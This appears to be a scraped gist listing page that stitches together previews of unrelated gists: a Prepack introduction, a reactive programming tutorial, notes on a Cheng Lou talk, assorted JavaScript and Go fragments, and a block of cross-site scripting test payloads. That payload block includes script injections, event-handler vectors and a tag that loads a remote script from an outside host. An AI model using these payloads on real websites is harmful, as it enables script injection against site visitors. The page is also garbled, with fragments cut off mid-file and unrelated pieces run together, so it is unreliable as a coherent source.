Shu Ding shuding

Note:

When this guide is more complete, the plan is to move it into Prepack documentation.
For now I put it out as a gist to gather initial feedback.

A Gentle Introduction to Prepack (Part 1)

If you're building JavaScript apps, you might already be familiar with some tools that compile JavaScript code to equivalent JavaScript code:

Babel lets you use newer JavaScript language features, and outputs equivalent code that targets older JavaScript engines.

The introduction to Reactive Programming you've been missing

(by @andrestaltz)

This tutorial as a series of videos

If you prefer to watch video tutorials with live-coding, then check out this series I recorded with the same contents as in this article: Egghead.io - Introduction to Reactive Programming.

Cheng Lou - On the Spectrum of Abstraction

Cheng Lou, a former member of the React team, gave an incredible talk at React Europe 2016 entitled "On the Spectrum of Abstraction". That talk is available for viewing here: https://www.youtube.com/watch?v=mVVNJKv9esE

It's only a half-hour, but it is mind-blowing. It's worth re-watching two or three times, to let the ideas sink in.

I just rewatched the talk for some research, and wrote down a summary that's semi-transcript-ish. I didn't see any other transcripts for this talk, other than the auto-generated closed captions, so I wanted to share for reference.

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	package main

	import "fmt"
	import "time"



	type person struct {
	name string
	}

	var pureRender = (Component) => {
	Object.assign(Component.prototype, {
	shouldComponentUpdate (nextProps, nextState) {
	return !shallowEqual(this.props, nextProps) \|\|
	!shallowEqual(this.state, nextState);
	}
	});
	};

	module.exports = pureRender;

	// random numbergenerator between 0 and 1
	var randomNum = ((Math.random () * 2 \| 0) + 1) - 1;

	// jquery inline style w/ !important
	$(el).css("cssText", "overflow: visible !important;");

	// random numbergenerator between 1 and 100
	Math.round((Math.random() * 99) + 1)
	(+new Date() + Math.floor(Math.random()*999999)).toString(36)

	// Usage example:
	//
	// willTransitionTo(transition, params, query, callback) {
	// observeStore(DraftStore, s => s.isLoaded()).then(() => {
	// if (DraftStore.isMissingTitle()) {
	// transition.redirect('composeDraft', params);
	// }
	// }).finally(callback);
	// }

Shu Ding shuding

A Gentle Introduction to Prepack (Part 1)

The introduction to Reactive Programming you've been missing

This tutorial as a series of videos

Cheng Lou - On the Spectrum of Abstraction

Summary